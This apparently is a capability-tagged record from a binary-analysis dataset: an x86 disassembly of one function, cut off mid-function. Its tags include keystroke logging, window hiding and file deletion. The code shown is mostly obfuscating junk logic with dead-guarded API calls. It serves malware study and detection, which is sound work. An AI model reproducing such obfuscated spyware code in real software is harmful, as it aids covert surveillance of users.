Function at 0x4516e3
Capabilities:
Allocate thread local storage
Clear file content
Connect pipe
Create pipe
Delete file
Get common file path
Get geographical location
Hide graphical window
Identify system language via api
Log keystrokes via polling
Query environment variable
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3e10
call fcn.0048bba0
push esi
push edi
mov dword [ebp - 0x32c], 6
mov dword [ebp - 0x3234], 0xe5a9864b
mov dword [ebp - 0x32d8], 0xfffffff8
mov dword [ebp - 0x32e0], 0xfffffffd
mov dword [ebp - 0x1c4], 0
jmp 0x451733
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 4
jge 0x45174f
mov eax, dword [ebp - 0x1c4]
mov dword [ebp + eax*4 - 0x3b18], 0xd327cb3f
jmp 0x451726
mov dword [ebp - 0x1c4], 0
jmp 0x451768
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 2
jge 0x451784
mov eax, dword [ebp - 0x1c4]
mov dword [ebp + eax*4 - 0x351c], 0xfffffff9
jmp 0x45175b
mov dword [ebp - 0x32c], 0
jmp 0x45179d
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 3
jg 0x451944
mov dword [ebp - 0xa7c], 0x7d214c40
mov dword [ebp - 0x32e8], 1
mov dword [ebp - 0x1b54], 0
mov dword [ebp - 0xa74], 0
jmp 0x4517e1
mov eax, dword [ebp - 0xa74]
inc eax
mov dword [ebp - 0xa74], eax
cmp dword [ebp - 0xa74], 1
jge 0x4517fd
mov eax, dword [ebp - 0xa74]
mov dword [ebp + eax*4 - 0x2708], 0xffffffff
jmp 0x4517d4
mov dword [ebp - 0xa7c], 0
jmp 0x451816
mov eax, dword [ebp - 0xa7c]
inc eax
mov dword [ebp - 0xa7c], eax
cmp dword [ebp - 0xa7c], 3
jg 0x4518c3
mov dword [ebp - 0xa84], 0x7822e6e7
mov dword [ebp - 0x32f0], 0xe3edfa83
mov dword [ebp - 0x32f8], 6
mov dword [ebp - 0x3300], 0xb959c45c
mov dword [ebp - 0x3a48], 0x78213af7
mov dword [ebp - 0x3a44], 0x78213af7
mov dword [ebp - 0x3a40], 0x78213af7
mov dword [ebp - 0x3a3c], 0x78213af7
mov dword [ebp - 0xa84], 3
jmp 0x45188c
mov eax, dword [ebp - 0xa84]
dec eax
mov dword [ebp - 0xa84], eax
cmp dword [ebp - 0xa84], 0
jl 0x4518b1
mov byte [ebp - 0x466], 0
movzx eax, byte [ebp - 0x466]
test eax, eax
je 0x4518af
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
jmp 0x45187f
mov eax, dword [ebp - 0x1b54]
dec eax
mov dword [ebp - 0x1b54], eax
jmp 0x451809
mov eax, dword [ebp - 0x32c]
mov eax, dword [ebp + eax*4 - 0x3b18]
mov dword [ebp - 0x241c], eax
mov eax, dword [ebp - 0x32c]
mov ecx, dword [ebp - 0x241c]
mov dword [ebp + eax*4 - 0x3b18], ecx
cmp dword [ebp - 0x241c], 0
jne 0x451922
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2708], 0
jne 0x451907
xor eax, eax
inc eax
je 0x451919
cmp dword [ebp - 0x32c], 0
jne 0x451922
mov eax, 0x6e2c9bf6
test eax, eax
jne 0x451922
and dword [ebp - 0x2424], 0
jmp 0x45192c
mov dword [ebp - 0x2424], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2424]
mov dword [ebp + eax - 0x351c], ecx
jmp 0x451790
mov dword [ebp - 0x3070], 8
mov dword [ebp - 0x306c], 8
mov dword [ebp - 0x3068], 8
mov dword [ebp - 0x3064], 8
mov dword [ebp - 0x674], 0xfffffffb
mov dword [ebp - 0x2a28], 0x72c25fcc
mov byte [ebp - 0x2ec], 0
movzx eax, byte [ebp - 0x2ec]
test eax, eax
je 0x45199f
push 0x1e6e
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
mov dword [ebp - 0x674], 3
jmp 0x4519b8
mov eax, dword [ebp - 0x674]
dec eax
mov dword [ebp - 0x674], eax
cmp dword [ebp - 0x674], 0
jl 0x451a53
mov dword [ebp - 0xa8c], 0x54fddd3f
mov dword [ebp - 0xa8c], 3
jmp 0x4519e8
mov eax, dword [ebp - 0xa8c]
dec eax
mov dword [ebp - 0xa8c], eax
cmp dword [ebp - 0xa8c], 0
jl 0x451a28
mov eax, dword [ebp - 0x674]
mov eax, dword [ebp + eax*4 - 0x3070]
inc eax
mov dword [ebp - 0x2a28], eax
mov byte [ebp - 0x2ee], 0
movzx eax, byte [ebp - 0x2ee]
test eax, eax
je 0x451a26
push 0
push 0xfc0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
jmp 0x4519db
mov byte [ebp - 0x2f0], 0
movzx eax, byte [ebp - 0x2f0]
test eax, eax
je 0x451a4e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
jmp 0x4519ab
mov dword [ebp - 0x680], 0xfb95c1f4
mov dword [ebp - 0x334], 0xffffffff
mov dword [ebp - 0x2a40], 0xa53ebff7
mov dword [ebp - 0xa94], 0
jmp 0x451a8a
mov eax, dword [ebp - 0xa94]
inc eax
mov dword [ebp - 0xa94], eax
cmp dword [ebp - 0xa94], 2
jge 0x451aa6
mov eax, dword [ebp - 0xa94]
mov dword [ebp + eax*4 - 0x55c], 0x7cb3f4f4
jmp 0x451a7d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x55c], 0
je 0x451d4b
mov dword [ebp - 0x100], 0x8f5f4990
mov dword [ebp - 0x244c], 0xb32e2659
mov dword [ebp - 0x2a30], 0xffffffff
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x55c]
cmp dword [ebp - 0x100], eax
je 0x451c92
cmp dword [ebp - 0x100], 0
je 0x451b08
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x55c], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x55c], 0
je 0x451b24
mov dword [ebp - 0x242c], 1
jmp 0x451b2b
and dword [ebp - 0x242c], 0
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x242c], eax
jg 0x451b45
mov dword [ebp - 0x2434], 1
jmp 0x451b4c
and dword [ebp - 0x2434], 0
mov eax, dword [ebp - 0x100]
add eax, dword [ebp - 0x2434]
cmp eax, dword [ebp - 0x100]
jl 0x451b6c
mov dword [ebp - 0x243c], 1
jmp 0x451b73
and dword [ebp - 0x243c], 0
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x243c], eax
je 0x451b8d
mov dword [ebp - 0x2444], 1
jmp 0x451b94
and dword [ebp - 0x2444], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x55c]
add eax, dword [ebp - 0x2444]
mov dword [ebp - 0x244c], eax
mov eax, dword [ebp - 0x244c]
add eax, 3
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x55c]
je 0x451bd1
mov dword [ebp - 0x2454], 1
jmp 0x451bd8
and dword [ebp - 0x2454], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x55c]
cmp dword [ebp - 0x2454], eax
jg 0x451bf9
mov dword [ebp - 0x245c], 1
jmp 0x451c00
and dword [ebp - 0x245c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x55c]
add eax, dword [ebp - 0x245c]
cmp eax, dword [ebp - 0x100]
jne 0x451c27
mov dword [ebp - 0x2464], 1
jmp 0x451c2e
and dword [ebp - 0x2464], 0
cmp dword [ebp - 0x2464], 2
jne 0x451c43
mov dword [ebp - 0x246c], 1
jmp 0x451c4a
and dword [ebp - 0x246c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x55c]
cmp dword [ebp - 0x246c], eax
je 0x451c74
cmp dword [ebp - 0x100], 0
je 0x451c74
mov dword [ebp - 0x2474], 1
jmp 0x451c7b
and dword [ebp - 0x2474], 0
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x2474], eax
jl 0x451c92
and dword [ebp - 0x247c], 0
jmp 0x451c9c
mov dword [ebp - 0x247c], 1
cmp dword [ebp - 0x247c], 0xffff
jne 0x451cb4
mov dword [ebp - 0x2484], 1
jmp 0x451cbb
and dword [ebp - 0x2484], 0
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x2484], eax
je 0x451cd5
mov dword [ebp - 0x248c], 1
jmp 0x451cdc
and dword [ebp - 0x248c], 0
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x248c], eax
je 0x451cf6
mov dword [ebp - 0x2494], 1
jmp 0x451cfd
and dword [ebp - 0x2494], 0
cmp dword [ebp - 0x2494], 9
jne 0x451d12
mov dword [ebp - 0x249c], 1
jmp 0x451d19
and dword [ebp - 0x249c], 0
mov eax, dword [ebp - 0x249c]
mov dword [ebp - 0x2a30], eax
mov byte [ebp - 0x2f2], 0
movzx eax, byte [ebp - 0x2f2]
test eax, eax
je 0x451d46
push 0x111e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
jmp 0x451f22
mov dword [ebp - 0x548], 0xfffffffe
mov dword [ebp - 0x548], 0x1d
jmp 0x451d6e
mov eax, dword [ebp - 0x548]
dec eax
mov dword [ebp - 0x548], eax
cmp dword [ebp - 0x548], 0xa
je 0x451e72
mov dword [ebp - 0xa9c], 0
jmp 0x451d94
mov eax, dword [ebp - 0xa9c]
inc eax
mov dword [ebp - 0xa9c], eax
cmp dword [ebp - 0xa9c], 2
jge 0x451db0
mov eax, dword [ebp - 0xa9c]
mov dword [ebp + eax*4 - 0x2668], 0xffffffff
jmp 0x451d87
mov byte [ebp - 0x2f4], 0
movzx eax, byte [ebp - 0x2f4]
test eax, eax
je 0x451de6
push 0
push 0x114
push 0
push 0x13ae
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawTextExW]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2668], 0
jmp 0x451e14
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2668]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2668], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2668], 9
jg 0x451e6d
mov dword [ebp - 0xaa4], 0
jmp 0x451e3d
mov eax, dword [ebp - 0xaa4]
inc eax
mov dword [ebp - 0xaa4], eax
cmp dword [ebp - 0xaa4], 3
jge 0x451e59
mov eax, dword [ebp - 0xaa4]
mov dword [ebp + eax*4 - 0x3b54], 0x8325
jmp 0x451e30
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3b54], 0
je 0x451e6b
jmp 0x451e6d
jmp 0x451df9
jmp 0x451d61
cmp dword [ebp - 0x548], 7
ja 0x451e87
mov dword [ebp - 0x24a4], 1
jmp 0x451e8e
and dword [ebp - 0x24a4], 0
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x451eaf
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x55c]
mov dword [ebp - 0x680], eax
cmp dword [ebp - 0x680], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x55c]
add eax, dword [ebp - 0x24a4]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x55c]
cmp eax, 0xacdd
jge 0x451ee2
mov dword [ebp - 0x2a38], 1
jmp 0x451ee9
and dword [ebp - 0x2a38], 0
mov eax, dword [ebp - 0x548]
cmp dword [ebp - 0x680], eax
jle 0x451f03
mov dword [ebp - 0x24ac], 1
jmp 0x451f0a
and dword [ebp - 0x24ac], 0
mov eax, dword [ebp - 0x24ac]
mov dword [ebp - 0x334], eax
mov eax, dword [ebp - 0x334]
mov dword [ebp - 0x2a40], eax
mov dword [ebp - 0x334], 0
jmp 0x451f3b
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0x2c
jge 0x452026
mov dword [ebp - 0xaac], 1
mov dword [ebp - 0x2a48], 0xec31937
cmp dword [ebp - 0xaac], 0xfffffff8
jae 0x451f71
mov dword [ebp - 0x24b4], 1
jmp 0x451f78
and dword [ebp - 0x24b4], 0
mov eax, dword [ebp - 0x334]
cmp dword [ebp - 0x24b4], eax
jg 0x451f92
mov dword [ebp - 0x24bc], 1
jmp 0x451f99
and dword [ebp - 0x24bc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x55c]
mov dword [ebp - 0x680], eax
mov eax, dword [ebp - 0x680]
cmp eax, dword [ebp - 0x24bc]
je 0x451fc6
mov dword [ebp - 0x24c4], 1
jmp 0x451fcd
and dword [ebp - 0x24c4], 0
mov eax, dword [ebp - 0xaac]
cmp dword [ebp - 0x24c4], eax
jg 0x451fe7
mov dword [ebp - 0x24cc], 1
jmp 0x451fee
and dword [ebp - 0x24cc], 0
mov eax, dword [ebp - 0x24cc]
sub eax, dword [ebp - 0xaac]
cmp dword [ebp - 0xaac], eax
jl 0x45200e
mov dword [ebp - 0x24d4], 1
jmp 0x452015
and dword [ebp - 0x24d4], 0
mov eax, dword [ebp - 0x24d4]
mov dword [ebp - 0x2a48], eax
jmp 0x451f2e
mov dword [ebp - 0xcc8], 1
mov dword [ebp - 0x1fd4], 1
mov dword [ebp - 0x180], 0
jmp 0x452053
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 2
jge 0x45206f
mov eax, dword [ebp - 0x180]
mov dword [ebp + eax*4 - 0xb08], 0
jmp 0x452046
mov dword [ebp - 0x180], 0
jmp 0x452088
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 1
jge 0x4520a4
mov eax, dword [ebp - 0x180]
mov dword [ebp + eax*4 - 0x688], 1
jmp 0x45207b
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xb08], 0
jmp 0x4520d2
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb08]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xb08], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xb08], 5
jge 0x452497
mov dword [ebp - 0x278], 4
mov dword [ebp - 0xb0c], 0xfffffff8
mov dword [ebp - 0xcb8], 0xfffffff6
mov dword [ebp - 0xab4], 0
jmp 0x45211d
mov eax, dword [ebp - 0xab4]
inc eax
mov dword [ebp - 0xab4], eax
cmp dword [ebp - 0xab4], 2
jge 0x452139
mov eax, dword [ebp - 0xab4]
mov dword [ebp + eax*4 - 0x3528], 0xffffffff
jmp 0x452110
mov dword [ebp - 0x278], 0
jmp 0x452152
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0xc
jg 0x452492
mov dword [ebp - 0x550], 0xffff
mov dword [ebp - 0x2aa0], 0
mov dword [ebp - 0xa28], 0
jmp 0x45218c
mov eax, dword [ebp - 0xa28]
inc eax
mov dword [ebp - 0xa28], eax
cmp dword [ebp - 0xa28], 2
jge 0x4521a8
mov eax, dword [ebp - 0xa28]
mov dword [ebp + eax*4 - 0x2b9c], 0xd1d89e17
jmp 0x45217f
mov eax, dword [ebp - 0x550]
dec eax
mov dword [ebp - 0x550], eax
cmp dword [ebp - 0x550], 0xfffffff8
je 0x4523d3
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xb08]
cmp dword [ebp + eax - 0x688], ecx
je 0x4521ea
mov dword [ebp - 0x1fc4], 1
jmp 0x4521f1
and dword [ebp - 0x1fc4], 0
cmp dword [ebp - 0xb0c], 0
je 0x45223d
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2b9c]
mov dword [ebp - 0x3308], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2b9c]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2b9c], eax
mov eax, 0xef31
test eax, eax
je 0x45223d
mov dword [ebp - 0x2524], 1
jmp 0x452244
and dword [ebp - 0x2524], 0
mov eax, dword [ebp - 0xb0c]
add eax, dword [ebp - 0x2524]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0xb08]
mov dword [ebp - 0xcc8], eax
mov eax, dword [ebp - 0xcc8]
push 4
pop ecx
imul ecx, ecx, 0
add eax, dword [ebp + ecx - 0xb08]
je 0x452289
xor eax, eax
je 0x452289
mov dword [ebp - 0x252c], 1
jmp 0x452290
and dword [ebp - 0x252c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x688]
imul eax, dword [ebp - 0x252c]
mov dword [ebp - 0xcb8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x688]
cmp dword [ebp - 0xcb8], eax
je 0x4522cb
mov dword [ebp - 0x2534], 1
jmp 0x4522d2
and dword [ebp - 0x2534], 0
mov eax, dword [ebp - 0x550]
cmp dword [ebp - 0x2534], eax
jle 0x4522ec
mov dword [ebp - 0x253c], 1
jmp 0x4522f3
and dword [ebp - 0x253c], 0
mov eax, dword [ebp - 0xb0c]
cmp dword [ebp - 0x253c], eax
jne 0x45230d
mov dword [ebp - 0x2a98], 1
jmp 0x452314
and dword [ebp - 0x2a98], 0
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x3310], eax
cmp dword [ebp - 0x550], 0xffff
jne 0x452338
mov dword [ebp - 0x2544], 1
jmp 0x45233f
and dword [ebp - 0x2544], 0
cmp dword [ebp - 0x2544], 0xfa2e
je 0x452357
mov dword [ebp - 0x254c], 1
jmp 0x45235e
and dword [ebp - 0x254c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb08]
imul eax, dword [ebp - 0x254c]
cmp dword [ebp - 0x1fc4], eax
jl 0x45238c
cmp dword [ebp - 0xcb8], 0
jne 0x45238c
and dword [ebp - 0xdd8], 0
jmp 0x452396
mov dword [ebp - 0xdd8], 1
cmp dword [ebp - 0xdd8], 0
jae 0x4523ab
mov dword [ebp - 0xcc0], 1
jmp 0x4523b2
and dword [ebp - 0xcc0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xcc0]
mov dword [ebp + eax - 0x3528], ecx
mov eax, dword [ebp - 0x550]
cmp dword [ebp - 0xcc0], eax
jge 0x4523e6
push 3
pop eax
test eax, eax
je 0x4523e6
mov dword [ebp - 0x1fcc], 1
jmp 0x4523ed
and dword [ebp - 0x1fcc], 0
mov eax, dword [ebp - 0x278]
add eax, dword [ebp - 0x1fcc]
cmp eax, dword [ebp - 0x278]
jl 0x45240d
mov dword [ebp - 0xde0], 1
jmp 0x452414
and dword [ebp - 0xde0], 0
mov eax, dword [ebp - 0xde0]
mov dword [ebp - 0x1fd4], eax
cmp dword [ebp - 0x1fd4], 0
jne 0x45243b
cmp dword [ebp - 0xcc8], 0
jne 0x45243b
and dword [ebp - 0xde8], 0
jmp 0x452445
mov dword [ebp - 0xde8], 1
mov eax, dword [ebp - 0x2aa0]
imul eax, dword [ebp - 0xde8]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x688]
jl 0x45246d
mov dword [ebp - 0x1fdc], 1
jmp 0x452474
and dword [ebp - 0x1fdc], 0
mov eax, dword [ebp - 0x1fdc]
sub eax, dword [ebp - 0x278]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x688], eax
jmp 0x452145
jmp 0x4520b7
mov dword [ebp - 0x36c], 6
mov dword [ebp - 0xce8], 0
mov dword [ebp - 0x930], 0
mov dword [ebp - 0xcd8], 0
mov dword [ebp - 0x690], 0x30a4ccfd
mov dword [ebp - 0xce0], 1
mov dword [ebp - 0xe08], 0xb2f14481
mov dword [ebp - 0x3318], 0
mov dword [ebp - 0xcd0], 1
mov dword [ebp - 0x6c], 0
jmp 0x452501
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 4
jge 0x452517
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x3c60], 0xfffffff9
jmp 0x4524fa
mov dword [ebp - 0x6c], 0
jmp 0x452527
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x45253d
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x2f94], 0x8586
jmp 0x452520
mov dword [ebp - 0x6c], 0
jmp 0x45254d
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x452563
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x24e0], 0xd133f29c
jmp 0x452546
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x3c60], 4
xor eax, eax
cmp eax, 4
jbe 0x452587
mov dword [ebp - 0x2aa8], 1
jmp 0x45258e
and dword [ebp - 0x2aa8], 0
cmp dword [ebp - 0x930], 0
jge 0x4525a9
mov eax, 0xc712
test eax, eax
jne 0x4525a9
and dword [ebp - 0x2ab0], 0
jmp 0x4525b3
mov dword [ebp - 0x2ab0], 1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2f94], 1
jne 0x4525c8
xor eax, eax
inc eax
jne 0x4525e1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x24e0], 0
jne 0x4525e1
and dword [ebp - 0xdf0], 0
jmp 0x4525eb
mov dword [ebp - 0xdf0], 1
cmp dword [ebp - 0xdf0], 0x85024d8f
jbe 0x452603
mov dword [ebp - 0x1fe4], 1
jmp 0x45260a
and dword [ebp - 0x1fe4], 0
mov eax, dword [ebp - 0xcd8]
imul eax, dword [ebp - 0x1fe4]
cmp eax, dword [ebp - 0x690]
jle 0x45262b
mov dword [ebp - 0xdf8], 1
jmp 0x452632
and dword [ebp - 0xdf8], 0
cmp dword [ebp - 0xdf8], 0x40e7
jg 0x45264a
mov dword [ebp - 0x1fec], 1
jmp 0x452651
and dword [ebp - 0x1fec], 0
mov eax, dword [ebp - 0xcd0]
mov dword [ebp - 0x2ab8], eax
mov eax, dword [ebp - 0x1fec]
mov dword [ebp - 0x2ac0], eax
mov eax, dword [ebp - 0xcd0]
dec eax
mov dword [ebp - 0xcd0], eax
mov eax, dword [ebp - 0x2ab8]
cmp eax, dword [ebp - 0x2ac0]
je 0x452690
mov dword [ebp - 0xe00], 1
jmp 0x452697
and dword [ebp - 0xe00], 0
mov eax, dword [ebp - 0x930]
imul eax, dword [ebp - 0xe00]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x24e0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x24e0]
mov dword [ebp - 0x3320], eax
mov eax, dword [ebp - 0xcd8]
mov dword [ebp - 0x3328], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xce0]
cmp dword [ebp + eax - 0x24e0], ecx
je 0x4526f1
mov dword [ebp - 0x2ac8], 1
jmp 0x4526f8
and dword [ebp - 0x2ac8], 0
mov eax, dword [ebp - 0xce0]
mov dword [ebp - 0x3330], eax
mov eax, dword [ebp - 0xe08]
mov dword [ebp - 0x3338], eax
mov eax, dword [ebp - 0xce8]
mov dword [ebp - 0x3340], eax
mov eax, dword [ebp - 0xcd8]
mov dword [ebp - 0x3348], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x24e0]
mov dword [ebp - 0x3350], eax
cmp dword [ebp - 0x930], 0
je 0x452759
cmp dword [ebp - 0x930], 0
je 0x452759
mov dword [ebp - 0x1ff4], 1
jmp 0x452760
and dword [ebp - 0x1ff4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2f94]
cmp dword [ebp - 0x1ff4], eax
jl 0x452781
mov dword [ebp - 0x1ffc], 1
jmp 0x452788
and dword [ebp - 0x1ffc], 0
mov eax, dword [ebp - 0xe08]
cmp dword [ebp - 0x1ffc], eax
jge 0x4527a2
mov dword [ebp - 0xe10], 1
jmp 0x4527a9
and dword [ebp - 0xe10], 0
mov eax, dword [ebp - 0xe10]
sub eax, dword [ebp - 0xce8]
sub eax, dword [ebp - 0xce0]
mov dword [ebp - 0xce8], eax
mov dword [ebp - 0x690], 0
jmp 0x4527da
mov eax, dword [ebp - 0x690]
dec eax
mov dword [ebp - 0x690], eax
cmp dword [ebp - 0x690], 0xfffffff4
jne 0x4527fa
mov dword [ebp - 0x2ad0], 0xe6f96354
cmp dword [ebp - 0x2ad0], 0
je 0x4527f8
jmp 0x4527fa
jmp 0x4527cd
mov dword [ebp - 0x3358], 0xe5a9864b
mov dword [ebp - 0x3360], 0x93b4e1a3
mov byte [ebp - 0x2f6], 0
movzx eax, byte [ebp - 0x2f6]
test eax, eax
je 0x45282f
push 0
push 0xba5
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
mov byte [ebp - 0x2f8], 0
movzx eax, byte [ebp - 0x2f8]
test eax, eax
je 0x452850
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
mov dword [ebp - 0x3368], 0xfffffff8
mov dword [ebp - 0x3370], 0xfffffffd
mov dword [ebp - 0x698], 0xfffffff7
mov dword [ebp - 0x698], 0xec0ae971
mov dword [ebp - 0x698], 3
jmp 0x452891
mov eax, dword [ebp - 0x698]
inc eax
mov dword [ebp - 0x698], eax
cmp dword [ebp - 0x698], 0xb
jl 0x45295b
mov dword [ebp - 0x6d0], 0
mov dword [ebp - 0x6d0], 0xffffffe7
jmp 0x4528c1
mov eax, dword [ebp - 0x6d0]
inc eax
mov dword [ebp - 0x6d0], eax
cmp dword [ebp - 0x6d0], 0x1a
jl 0x452956
mov dword [ebp - 0x66c], 0xfffffff8
mov dword [ebp - 0x938], 0
jmp 0x4528f1
mov eax, dword [ebp - 0x938]
inc eax
mov dword [ebp - 0x938], eax
cmp dword [ebp - 0x938], 1
jge 0x45290d
mov eax, dword [ebp - 0x938]
mov dword [ebp + eax*4 - 0x3378], 1
jmp 0x4528e4
mov dword [ebp - 0x66c], 0
jmp 0x452926
mov eax, dword [ebp - 0x66c]
inc eax
mov dword [ebp - 0x66c], eax
cmp dword [ebp - 0x66c], 0
jg 0x452951
mov dword [ebp - 0x2ad8], 0xb5bf
cmp dword [ebp - 0x66c], 0
je 0x452944
jmp 0x452951
cmp dword [ebp - 0x2ad8], 0
je 0x45294f
jmp 0x452919
jmp 0x452919
jmp 0x4528b4
jmp 0x452884
mov dword [ebp - 0x24], 0x7102d149
mov dword [ebp - 0x578], 0x579253a3
mov dword [ebp - 0xe40], 0xfff9
mov dword [ebp - 0x6d8], 0
jmp 0x45298f
mov eax, dword [ebp - 0x6d8]
inc eax
mov dword [ebp - 0x6d8], eax
cmp dword [ebp - 0x6d8], 3
jge 0x4529ab
mov eax, dword [ebp - 0x6d8]
mov dword [ebp + eax*4 - 0x3d40], 0xb96bc712
jmp 0x452982
cmp dword [ebp - 0x24], 0
je 0x4529c3
cmp dword [ebp - 0x24], 0
je 0x4529c3
mov dword [ebp - 0x2004], 1
jmp 0x4529ca
and dword [ebp - 0x2004], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x2004]
jl 0x4529e1
mov dword [ebp - 0xe18], 1
jmp 0x4529e8
and dword [ebp - 0xe18], 0
mov eax, dword [ebp - 0xe18]
mov dword [ebp - 0x578], eax
cmp dword [ebp - 0x578], 0x865b49d5
jb 0x452a0c
mov dword [ebp - 0x2ae0], 1
jmp 0x452a13
and dword [ebp - 0x2ae0], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3380], eax
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x578], eax
jne 0x452a33
mov dword [ebp - 0x2ae8], 1
jmp 0x452a3a
and dword [ebp - 0x2ae8], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3388], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3390], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3398], eax
cmp dword [ebp - 0x24], 0
je 0x452cbb
mov dword [ebp - 0xcf0], 0xd164
mov dword [ebp - 0xcf8], 0xfffffff6
mov dword [ebp - 0x33a0], 8
mov dword [ebp - 0x33a8], 0
mov dword [ebp - 0x33b0], 0
mov dword [ebp - 0x33b8], 7
mov dword [ebp - 0x940], 0
jmp 0x452ab4
mov eax, dword [ebp - 0x940]
inc eax
mov dword [ebp - 0x940], eax
cmp dword [ebp - 0x940], 2
jge 0x452ad0
mov eax, dword [ebp - 0x940]
mov dword [ebp + eax*4 - 0x3bf8], 4
jmp 0x452aa7
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0xcf0], eax
je 0x452ae7
mov dword [ebp - 0x200c], 1
jmp 0x452aee
and dword [ebp - 0x200c], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0xcf0]
cmp eax, dword [ebp - 0x578]
jle 0x452b0b
mov dword [ebp - 0xe20], 1
jmp 0x452b12
and dword [ebp - 0xe20], 0
mov eax, dword [ebp - 0x200c]
